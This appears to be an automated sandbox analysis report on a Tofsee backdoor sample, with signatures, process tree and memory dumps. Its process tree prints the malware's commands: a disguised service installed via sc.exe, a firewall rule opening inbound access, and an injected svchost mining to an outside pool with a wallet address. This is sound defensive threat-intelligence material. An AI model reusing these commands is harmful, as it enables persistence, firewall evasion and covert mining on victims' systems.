Overview

overview

10

Static

static

90ab735f3e...ea.exe

windows7_x64

10

90ab735f3e...ea.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    10/11/2020, 10:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    90ab735f3e99db675bbc2913b1f34ef7bd72636222ae8b2a2b5e4de01c2e2dea.exe
  • Size 11.1MB
  • Sample201110-fawpjsps3x
  • SHA256 90ab735f3e99db675bbc2913b1f34ef7bd72636222ae8b2a2b5e4de01c2e2dea
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\90ab735f3e99db675bbc2913b1f34ef7bd72636222ae8b2a2b5e4de01c2e2dea.exe
    "C:\Users\Admin\AppData\Local\Temp\90ab735f3e99db675bbc2913b1f34ef7bd72636222ae8b2a2b5e4de01c2e2dea.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vtkmlpzm\
      2⤵
        PID:1312
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ikflerb.exe" C:\Windows\SysWOW64\vtkmlpzm\
        2⤵
          PID:1620
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vtkmlpzm binPath= "C:\Windows\SysWOW64\vtkmlpzm\ikflerb.exe /d\"C:\Users\Admin\AppData\Local\Temp\90ab735f3e99db675bbc2913b1f34ef7bd72636222ae8b2a2b5e4de01c2e2dea.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1744
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description vtkmlpzm "wifi internet conection"
            2⤵
              PID:744
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start vtkmlpzm
              2⤵
                PID:400
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:112
            • C:\Windows\SysWOW64\vtkmlpzm\ikflerb.exe
              C:\Windows\SysWOW64\vtkmlpzm\ikflerb.exe /d"C:\Users\Admin\AppData\Local\Temp\90ab735f3e99db675bbc2913b1f34ef7bd72636222ae8b2a2b5e4de01c2e2dea.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:556
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1000
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1620

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  memory/556-11-0x0000000000A80000-0x0000000000A91000-memory.dmp
                  Download

                  memory/556-10-0x000000000069B000-0x000000000069C000-memory.dmp
                  Download

                  memory/1000-16-0x0000000000130000-0x0000000000136000-memory.dmp
                  Download

                  memory/1000-18-0x00000000004A0000-0x00000000004A5000-memory.dmp
                  Download

                  memory/1000-20-0x0000000000530000-0x0000000000537000-memory.dmp
                  Download

                  memory/1000-19-0x00000000057F0000-0x0000000005BFB000-memory.dmp
                  Download

                  memory/1000-17-0x0000000000150000-0x0000000000160000-memory.dmp
                  Download

                  memory/1000-12-0x0000000000080000-0x0000000000095000-memory.dmp
                  Download

                  memory/1000-15-0x0000000001BE0000-0x0000000001DEF000-memory.dmp
                  Download

                  memory/1040-0-0x000000000068B000-0x000000000068C000-memory.dmp
                  Download

                  memory/1040-1-0x0000000002080000-0x0000000002091000-memory.dmp
                  Download

                  memory/1620-21-0x0000000000080000-0x0000000000171000-memory.dmp
                  Download

                  memory/1620-22-0x0000000000080000-0x0000000000171000-memory.dmp
                  Download